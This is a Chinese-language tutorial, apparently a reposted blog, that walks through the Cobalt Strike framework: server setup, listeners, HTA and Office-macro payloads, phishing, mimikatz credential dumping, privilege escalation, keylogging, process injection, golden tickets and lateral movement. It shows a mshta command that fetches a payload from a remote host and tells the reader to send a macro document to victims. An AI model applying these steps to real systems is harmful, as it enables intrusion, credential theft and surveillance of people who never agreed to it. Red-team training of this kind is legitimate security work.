CobaltStrike的使用
目錄
CobaltStrike
CobaltStrike的安裝
CobaltStrike的使用
CobaltStrike模塊
創建監聽器Listener
創建攻擊Attacks
HTML Application
MS Office Macro
Payload Generator
Windows Executable?&?Windows Executable(S)
Web Drive-by?網站釣魚攻擊
視圖View
對被控主機的操作
抓取hash和dump明文密碼
提權(Elevate)
利用被控主機建立Socks4代理
進程列表(注入進程,鍵盤監控)
生成黃金票據注入當前會話(Golden Ticket)
憑證轉換(Make Token)
端口掃描
哈希傳遞攻擊或SSH遠程登錄
CobaltStrike常見命令
CobaltStrike
CobaltStrike是一款滲透測試神器,被業界人稱為CS神器。CobaltStrike分為客戶端與服務端,服務端是一個,客戶端可以有多個,可被團隊進行分布式協團操作。
CobaltStrike集成了端口轉發、服務掃描,自動化溢出,多模式端口監聽,windows exe 木馬生成,windows dll 木馬生成,java 木馬生成,office 宏病毒生成,木馬捆綁。釣魚攻擊包括:站點克隆,目標信息獲取,java 執行,瀏覽器自動攻擊等等強大的功能!
CobaltStrike的安裝
我這里以Kali安裝為例:?
安裝好了java之后,我們就去安裝CobalStrike了!
啟動服務端:
CobaltStrike目錄如下,講幾個主要文件的功能:
- agscript:擴展應用的腳本
- c2lint:用于檢查profile的錯誤和異常
- teamserver:服務器端程序
- cobaltstrike/cobaltstrike.jar:客戶端程序
- logs:日志文件,包括Web日志、Beacon日志、截圖日志、下載日志、鍵盤記錄日志等
- update/update.jar:更新文件,用于更新cobaltstrike
- data:用于保存當前TeamServer的一些數據
啟動客戶端:
./cobaltstrike這里host填kali的ip,密碼就是剛剛我們啟動的密碼。?
啟動后的客戶端:
我們也可以打開windows下的cobaltstrike客戶端,然后把ip設置為我們的啟動時候的ip即可。
CobaltStrike的使用
CobaltStrike模塊
- New Connection:打開一個新連接窗口
- Preferences:偏好設置,就是設置CobaltStrike外觀的
- Visualization:將主機以不同的權限展示出來(主要以輸出結果的形式展示)
- VPN Interfaces:設置VPN接口
- Listeners:創建監聽器
- Script Interfaces:查看和加載CNA腳本
- Close:關閉
創建監聽器Listener
點擊左上方CobaltStrike選項——>在下拉框中選擇 Listeners ——>在下方彈出區域中單機add
這里Payload有9種選項,如下:
內部的Listener
- windows/beacon_dns/reverse_dns_txt
- windows/beacon_dns/reverse_http
- windows/beacon_http/reverse_http
- windows/beacon_https/reverse_https?
- windows/beacon_smb/bind_pipe
外部的Listener
- windows/foreign/reverse_dns_txt
- windows/foreign/reverse_http
- windows/foreign/reverse_https
- windows/foreign/reverse_tcp
Beacon為內置的Listener,即在目標主機執行相應的payload,獲取shell到CS上;其中包含DNS、HTTP、HTTPS、SMB。Beacon可以選擇通過DNS還是HTTP協議出口網絡,你甚至可以在使用Beacon通訊過程中切換HTTP和DNS。其支持多主機連接,部署好Beacon后提交一個要連回的域名或主機的列表,Beacon將通過這些主機輪詢。目標網絡的防護團隊必須攔截所有的列表中的主機才可中斷和其網絡的通訊。通過種種方式獲取shell以后(比如直接運行生成的exe),就可以使用Beacon了。
Foreign為外部結合的Listener,常用于MSF的結合,例如獲取meterpreter到MSF上。
不同的beacon支持的系統位數也不同,如下:
關于DNS Beacon的使用:CobaltStrike中DNS Beacon的使用
創建攻擊Attacks
點擊中間的攻擊——>生成后門
這里Attacks有幾種,如下:
- HTML Application ?生成一個惡意HTML Application木馬,后綴格式為 .hta。通過HTML調用其他語言的應用組件進行攻擊,提供了可執行文件、PowerShell、VBA三種方法
- MS Office Macro ? ?生成office宏病毒文件;
- Payload Generator ? ?生成各種語言版本的payload,可以生成基于C、C#、COM Scriptlet、Java、Perl、PowerShell、Python、Ruby、VBA等的payload
- Windows Executable 生成32位或64位的exe和基于服務的exe、DLL等后門程序
- Windows Executable(S) 用于生成一個exe可執行文件,其中包含Beacon的完整payload,不需要階段性的請求。與Windows Executable模塊相比,該模塊額外提供了代理設置,以便在較為苛刻的環境中進行滲透測試。該模塊還支持powershell腳本,可用于將Stageless Payload注入內存
HTML Application
HTML Application用于生成hta類型的文件。HTA是HTML Application的縮寫(HTML應用程序),是軟件開發的新概念,直接將HTML保存成HTA的格式,就是一個獨立的應用軟件,與VB、C++等程序語言所設計的軟件界面沒什么差別。HTML Application有三種類型的生成方式,測試發現,只有powershell方式生成的hta文件才能正常執行上線,Executable和VBA方式生成的hta文件執行的時候提示當前頁面的腳本發生錯誤。
基于PowerShell方式生成的hta文件,執行上線
執行mshta上線成功:mshta http://xx.xx.xx.xx/download/file.ext
基于Executable方式生成的hta文件,執行報錯如下
基于VBA方式生成的hta文件,執行報錯如下
MS Office Macro
攻擊——>生成后門——>MS Office Macro
然后選擇一個監聽器,點擊Generate
然后點擊Copy Macro
然后打開word編輯器,點擊視圖,然后點擊宏
隨便輸入一個宏名,點擊創建
先清除這里面的所有代碼,然后復制CobaltStrike生成的代碼,保存退出。
將該文檔發給其他人,只要他是用word打開,并且開啟了宏,我們的CS就會收到彈回來的shell,進程名是rundll32.exe。
word開啟禁用宏:文件——>選項——>信任中心——>信任中心設置
Payload Generator
這個模塊用于生成各種語言版本的shellcode,然后用其他語言進行編譯生成,可參考:MSF木馬的免殺(三)
Windows Executable?&?Windows Executable(S)
這兩個模塊直接用于生成可執行的 exe 文件或 dll 文件。Windows Executable是生成Stager類型的馬,而Windows?Executable(S) 是生成Stageless類型的馬。那Stager和Stageless有啥區別呢?
- Stager是分階段傳送Payload。分階段啥意思呢?就是我們生成的Stager馬其實是一個小程序,用于從服務器端下載我們真正的shellcode。分階段在很多時候是很有必要的,因為很多場景對于能加載進內存并成功漏洞利用后執行的數據大小存在嚴格限制。所以這種時候,我們就不得不利用分階段傳送了。如果不需要分階段的話,可以在C2的擴展文件里面把?host_stage 選項設置為 false。
- 而Stageless是完整的木馬,后續不需要再向服務器端請求shellcode。所以使用這種方法生成的木馬會比Stager生成的木馬體積要大。但是這種木馬有助于避免反溯源,因為如果開啟了分階段傳送,任何人都能連接到你的C2服務器請求payload,并分析payload中的配置信息。在CobaltStrike4.0及以后的版本中,后滲透和橫向移動絕大部分是使用的Stageless類型的木馬。
Windowss Executable(S)相比于Windows?Executable,其中包含Beacon的完整payload,不需要階段性的請求,該模塊額外提供了代理設置,以便在較為苛刻的環境中進行滲透測試。該模塊還支持powershell腳本,可用于將Stageless Payload注入內存。
注意,生成的Windows Service EXE生成的木馬,直接雙擊是不會返回session的。需要以創建服務的方式啟動,才會返回session。
Web Drive-by?網站釣魚攻擊
點擊中間的Attacks——>Web Drive-by(網站釣魚攻擊)
- Manage ?對開啟的web服務進行管理;
- Clone Site ? ? 克隆網站,可以記錄受害者提交的數據;
- Host File ? 提供一個文件下載,可以修改Mime信息;Host File 可以配合DNS欺騙實現掛馬效果使用
- Scripted Web Delivery? ? ? ? ? ? ? 基于Web的攻擊測試腳本,自動生成可執行的payload?;
- Signed Applet Attack ? ? ? ?啟動一個Web服務以提供自簽名Java Applet的運行環境;
- Smart Applet Attack ? 自動檢測Java版本并l利用已知的exploits繞過security;
- System Profiler ? ?用來獲取一些系統信息,比如系統版本,Flash版本,瀏覽器版本等。
- Spear Phish ? ?用來郵件釣魚的模塊
視圖View
點擊中間的View
- Applications 顯示受害者機器的應用信息;
- Credentials ?顯示受害者機器的憑證信息,通過hashdump和mimikatz獲取的密碼都保存在這里;
- Downloads 查看從被控機器上下載的文件;
- Event Log ? ?可以看到事件日志,清楚的看到系統的事件,并且團隊可以在這里聊天;
- Keystrokes ?查看鍵盤記錄;
- Proxy Pivots ? 查看代理信息;
- Screenshots ? 查看屏幕截圖;
- Script Console ? ?在這里可以加載各種腳本以增強功能,腳本地址:https://github.com/rsmudge/cortana-scripts
- Targets ? ?查看目標;
- Web Log 查看web日志。
- Reporting ??主要就是出報告用的
對被控主機的操作
抓取hash和dump明文密碼
這兩項功能都需要管理員權限,如果權限不足,先提權
- 抓取密碼哈希:右鍵被控主機——>Access——>Dump Hashes
- 利用mimikatz抓取明文密碼:右鍵被控主機——>Access——>Run Mimikatz
抓取密碼哈希,也可以直接輸入:hashdump
使用mimikatz抓取明文密碼,也可以直接輸入:logonpasswords
抓取完之后,點擊憑證信息,就會顯示我們抓取過的哈希或者明文。這里我們也可以手動添加或修改憑證信息
提權(Elevate)
當獲取的當前權限不夠時,可以使用提權功能
右鍵被控主機——>Access——>Elevate
親測Windows Server 2008R2 、Win7?及以下系統可用。Win10不可用??
默認有三個提權payload可以使用,分別是MS14-058、uac-dll、uac-token-duplication 。
我們選中MS14-058,點擊Launch
之后就彈回來一個system權限的beacon
我們也可以自己加入一些提權腳本進去。在Github上有一個提權工具包,使用這個提權工具包可以增加幾種提權方法:https://github.com/rsmudge/ElevateKit? ? 。我們下載好該提權工具包后
如下,
再打開我們的提權,可以看到多了幾種提權方式了
利用被控主機建立Socks4代理
當我們控制的主機是一臺位于公網和內網邊界的服務器 ,我們想利用該主機繼續對內網進行滲透,于是,我們可以利用CS建立socks4A代理
右鍵被控主機——>Pivoting——>SOCKS Server
這里是SOCKS代理運行的端口,任意輸入一個未占用的端口即可,默認CS會給出一個,我們直接點擊Launch即可。
于是,我們在自己的主機上設置Socks4代理。代理ip是我們CS服務端的ip,端口即是 38588。
如果我們想查看整個CS代理的設置,可以點擊View——>Proxy Pivots?
然后我們可以直接在瀏覽器設置socks4代理
進程列表(注入進程,鍵盤監控)
右鍵被控主機——>Explore——>Process List
即可列出進程列表
選中該進程,Kill為殺死該進程,Refresh為刷新該進程,Inject?則是把beacon注入進程,Log Keystrokes為鍵盤記錄,Screenshot 為截圖,Stea Token為竊取運行指定程序的用戶令牌
這里著重講一下注入進程和鍵盤記錄
Inject注入進程
選擇進程,點擊Inject,隨后選擇監聽器,點擊choose,即可發現CobaltStrike彈回了目標機的一個新會話,這個會話就是成功注入到某進程的beacon會話。該功能可以把你的beacon會話注入到另外一個程序之中,注入之后,除非那個正常進程被殺死了,否則我們就一直可以控制該主機了。
inject? 進程PID? 進程位數? 監聽鍵盤記錄
任意選擇一個進程,點擊Log Keystrokes,即可監聽該主機的鍵盤記錄
keylogger? 進程PID? 進程位數查看鍵盤記錄結果:點擊鑰匙一樣的按鈕,就可以在底下看到鍵盤記錄的詳細了,會監聽所有的鍵盤記錄,而不只是選中的進程的鍵盤記錄
鍵盤監聽記錄,也可以直接輸入?keylogger
生成黃金票據注入當前會話(Golden Ticket)
生成黃金票據的前提是我們已經獲得了krbtgt用戶的哈希:9ce0b40ed1caac7523a22d574b32deb2 。并且已經獲得一個以域用戶登錄的主機權限
右鍵當前獲得的主機——>Access——>Golden Ticket
在彈出來的對話框中輸入以下:
- User:要偽造用戶名,這里我們一般填administrator
- Domain:域名
- Domain SID:域SID
- Krbtgt Hash:krbtgt用戶的哈希
然后點擊Build即可
這是輸入框自動執行的mimikatz命令,如圖票據傳遞攻擊成功。我們查看域控的C盤,輸入如下命令
shell dir\\win2008.xie.com\c$憑證轉換(Make Token)
如果我們已經獲得了域內其他用戶的賬號密碼,就可以使用此模塊生成令牌,此時生成的令牌具有指定用戶的身份。
右鍵當前獲得的主機——>Access——>Make Token
輸入已經獲得了域用戶的賬號密碼和域名,點擊Build
日志框內的記錄
端口掃描
右鍵——>目標——>端口掃描,然后填入要掃描的端口和網段。這里我們也可以直接執行命令:
掃完了之后,直接在控制臺就會有結果。
我們點擊視圖——>目標,就會出現網段中存活的主機。(這是通過端口掃描探測到的結果顯示的,要想這里顯示,必須得先進行掃描端口)
哈希傳遞攻擊或SSH遠程登錄
進行了上一步的端口掃描后,我們這里視圖——>目標就會有當前網段的存活主機。
對于Linux機器,如果我們知道賬號密碼的話,可以遠程SSH連接,并返回一個CS的session。
需要一臺服務器作為中繼才可以控制Linux服務器,我們這里先獲取到一個windows服務器的權限,然后進入windows服務器的beacon進行執行命令
可以兩種方式遠程連接:ssh?和? ssh-key
可以圖形化操作,也可以命令行操作:ssh? 192.168.10.13:22? root? root
對于Linux機器,也可以使用SSH公私鑰進行登錄,并返回一個CS的session。
需要一臺服務器作為中繼才可以控制Linux服務器,我們這里先獲取到一個windows服務器的權限,然后進入windows服務器的beacon進行執行命令
首先,將公鑰authorized_keys放到目標主機的/root/.ssh/目錄下
然后我們本地機器放私鑰,遠程連接
ssh-key 192.168.10.13:22 root e:\id_rsa對于Windows機器,如果我們獲取到賬號和密碼(明文或者哈希),都可以進行遠程連接
遠程連接的前提是目標機器開放了445端口,然后CS會通過遠程連接開啟一個CS的seesion。可以用以下方式遠程連接:psexec 、psexec64、psexec_psh 、winrm?和?winrm64
如果遇到目標機器不出網的情況,則我們需要在已經被控的主機上建立一個listen,以此作為中繼。
然后攻擊的時候的監聽器選擇我們剛剛用被控主機建立的listen即可。
但是這樣會導致的一個后果就是,只要第一個被控主機掉線,通過該主機中繼打下的內網其他主機也都會掉線。
CobaltStrike常見命令
?
?
總結
以上是生活随笔為你收集整理的CobaltStrike的使用的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: Searchsploit
- 下一篇: Metasploit Framework